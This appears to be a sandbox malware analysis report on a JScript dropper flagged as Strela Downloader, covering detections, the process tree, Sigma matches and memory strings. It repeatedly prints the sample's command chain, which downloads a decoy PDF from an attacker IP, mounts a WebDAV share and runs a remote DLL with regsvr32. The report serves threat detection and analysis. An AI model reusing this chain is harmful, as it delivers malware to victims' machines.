Edit tour

Windows Analysis Report
584319483127519041.js

Overview

General Information

Sample name:	584319483127519041.js
Analysis ID:	1588776
MD5:	faee1aa23ecc7c2b1a5fd9a791eb9556
SHA1:	9dde76628762412b828e95a0ee4d117cea113a3c
SHA256:	5a3e0e428bf002c264e0034b5bd2dc95b9f75d867c42aa7bb45f47f2cd8b7ec7
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7388 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\584319483127519041.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7712 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7784 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8080 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2920 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1128 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1616,i,14982553076339346027,7902845990942024028,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8096 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7172 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3520 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7388	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7712, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7784, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7712, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7784, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\584319483127519041.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\584319483127519041.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\584319483127519041.js", ProcessId: 7388, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\584319483127519041.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7388, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, ProcessId: 7712, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\584319483127519041.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7388, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, ProcessId: 7712, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\584319483127519041.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7388, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, ProcessId: 7712, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\584319483127519041.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7388, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, ProcessId: 7712, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\584319483127519041.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7388, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, ProcessId: 7712, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\584319483127519041.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\584319483127519041.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\584319483127519041.js", ProcessId: 7388, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7712, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7784, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8096, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7172, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3520, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8096, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7172, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\584319483127519041.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7388, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll, ProcessId: 7712, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 584319483127519041.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 584319483127519041.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 584319483127519041.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000001.00000002.1272285208.00000172620A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1333421295.00000162F76B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1333421295.00000162F770D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1333421295.00000162F76ED000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1333421295.00000162F76DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1333421295.00000162F76ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/(
Source: net.exe, 0000000C.00000002.1333421295.00000162F76B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/;
Source: net.exe, 0000000C.00000002.1333421295.00000162F76ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/t
Source: net.exe, 0000000C.00000002.1333421295.00000162F76B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 0000000E.00000002.2554297415.000001AFE0800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.14.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 0000000E.00000003.1325027066.000001AFE0660000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7388, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28218446720037.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 584319483127519041.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7720:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dmvar1ww.3rb.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 584319483127519041.js

Virustotal: Detection: 9%

